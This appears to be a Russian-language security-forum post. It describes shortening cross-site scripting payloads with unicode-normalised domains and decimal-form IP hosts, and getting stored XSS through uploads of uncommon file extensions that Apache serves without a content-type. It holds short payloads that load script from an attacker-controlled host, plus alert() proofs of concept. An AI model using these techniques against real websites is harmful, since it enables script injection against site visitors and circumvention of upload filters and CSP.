Немного мыслей вслух. Встречаются ситуации, когда имеем XSS, ограниченную определенной длинной символов. Не берем во внимание каким образом, просто принимаем это за данность. Например 30 символов, пэйлоад выглядит вот так: Code: "><script src=//AAAA></script> - 30 Наша нагрузка имеет длину хоста равную 4 символам. Требования к домену - длинна от 2 до 63 символов. По этому поводу есть, например, такое решение - старая, добрая юникод нормализация. https://jlajara.gitlab.io/web/2019/11/30/XSS_20_characters.html Нам нужно попытаться найти домен, входящий в список символов, которые после нормализации преобразуются в двух - трех символьные строки(можно и больше, если найдем). Либо взять под контроль один из таких хостов, с двух-трех символьным доменом, находящимся в списке символов юникод нормализации. Всего доменов верхнего уровня(двухсимвольных), которые нам подходят ~ 253. Теперь для эксплуатации нам необходим символ, который после нормализации преобразуется в строку из нескольких символов. Таких ~ 169. Путем нехитрой математики получаем 42757 доменов, где: зарегестрировать можно не все; из тех, которые мы не можем получить, зарегестрированы тоже не все. Т.е. реальное количество подходящих нам гораздо меньше. Но мы можем попытаться расширить этот список. Для этого нам необходимо вспомнить таск #11, точнее представление IPv4 в различных форматах. Тут нам интересен IP как обычное десятичное число. Учитывая длинну нашей нагрузки, мы могли бы вставить 10 000(0-9999) хостов, если бы не одно но - они все входят в диапазон зарезервированных для спец целей ip адресов 0.0.0.0/8. Всего в этом диапазоне находятся 16 777 215 IP. Наши 10к составляют промежуток с 0.0.0.0 по 0.0.39.15. А давайте заглянем в таблицу символов нормализации http://unicode.org/charts/normalization/. Но сейчас нас интересуют не буквенные символы, а целочисленные, и они там есть. Мы получаем полный диапазон чисел от 10 до 50 включительно. Следовательно, количество хостов, которое мы могли бы теоретически использовать равно 50 505 050. Но так как у нас отсутствует диапазон чисел с 51 по 99, мы можем использовать только половину = 25 миллионов. Не забываем и про 0.0.0.0/8. В итоге у нас остается 8 475 310 хостов, из которых, контролируя один, возможно провести XSS атаку с длинной атрибута src в 4 символа. Для атакующего перспектива уже более радужная, простор для деятельности более широкий. Теперь предлагаю обратиться к первой ссылке. Автор использовал нагрузку в 20 символов: Code: <script src=//aa.es> Атрибут src имеет 5 символьную длинну. Если мы попробуем использовать все то, что описано выше, то получаем 5 050 505 050 адресов. Если учесть, что адресное пространство составляет 4 294 967 296 IP, и беря во внимание, что нам доступна только половина, можем предположить что для атаки нам подойдет приблизительно каждый второй адрес(грубо говоря, без учета других зарезервированных диапазонов, ну в худшем случаем каждый третий). Как итог немного расширены наши возможности в эксплуатации коротких XSS, ограничения доступными и подходящими доменами, можно нивелировать найдя подходящий IP. И это все при условии, что я нигде не ошибся. Как-то так. UPD ===== Немного прогнался выше, поправил расчеты. Тут же дополню, что есть подходящие для нормализации домены верхнего уровня, например au, md, bar. Всего около 44 из которых свободно зарегестрировать можно 15. Исходя из этого имеем: трехсимвольное значение атрибута, где регестрируя домен имеем ~ 2к доменов всего ~ 7к четырехсимвольное значение атрибута, где регестрируя домен ~ 428к всего ~ 1кк И это при условии что мы не используем остальные двух символьные домены верхнего уровня. Количество доменов с пятисимвольным значением конечно растет значительно. Поэтому пляски с поиском и pwn хоста с 4 символьным атрибутом наверное все же остаются на крайний случай, но вот с 5-символьным могут избавить от траты кровных на регистрацию домена, если например есть сервер с белым IP. Стоит также учесть, что во внимание не брались домены, частично подходящие, например, .vin где заменяем только vi.
Натыкано) Если мы имеем загрузку файлов по блек листу + апач(nix) и отсутствие проверки содержимого загружаемого файла, то все это может привести к XSS. Дело в том, что браузером файлы: - с "неизвестным" расширением или без расширения - начинающиеся с html/js кода - отсутсвующим content-type от веб сервера будут интерпритированны как html. Т.е. файл sss.sss с содержимым Code: <script>alert()</script> выдаст ксс, так как апач по умолчанию не отправит content-type в response, а браузер расценит его как text/html. Тот же файл, но, например, с содержимым: Code: #!/bin/bash <script>alert()</script> браузер воспримет как text/plain, несмотря на то, что content-type также отсутсвует. Такие ксски по факту являются stored, хотя эксплуатация их больше относится к reflected, но обладают некоторыми преимуществами: 1) Учитывая название топика, это длинна. Объем кода зависит лишь от размера файла, который нам позволяют заливать. Reflected и stored например могут быть ограничены кодом, или длинной url, если попадают из GET. Проинклудить код удаленно не всегда представляется возможным. 2) Обход некоторых ограничений CSP, WAF, защитных плагинов типа NoScript для FF. 3) "Легитимность" ссылки. Нет необходимости пытаться скрыть подозрительную ссылку, она вполне "обычна". 4) Может что-то еще... Гугл по этому вопросу несильно был ко мне дружелюбен, поэтому чутка расписал, хотя я думаю все об этом знали. Собственно для чего это все? Как выяснилось, такое можно применить и для загрузки файлов по белому листу в редких случаях. Дело в том, что браузер, например, файл ss.mp3 при открытии через обертку Code: file:///Desktop/ss.mp3 откроет его как audio/mpeg. И даже если содержимое его будет <script>alert()</script>, браузер все равно попытается его открыть как mp3. Однако, если апач каким-то образом не знает об mp3 и, всвязи с этим, вернет response без content-type, браузер будет интерпритировать файл по содержимому, и наш алерт отработает. В файле мим типов mp3 будет однозначно, с распространенными расширениями не прокатит. Но иногда разрабы могут разрешать заливать некоторые не слишком распространенные расширения. Что впринципе мне и попалось, допускалась возможность заливки расширений: 1) aac - аудио 2) thm - изображение 3) и что-то там еще а апач + отсутсвие mime type для этих файлов позволяло выполнить XSS. Как на вин не знаю, не тыкал, ну и результаты могут отличаться от дистрибутива)
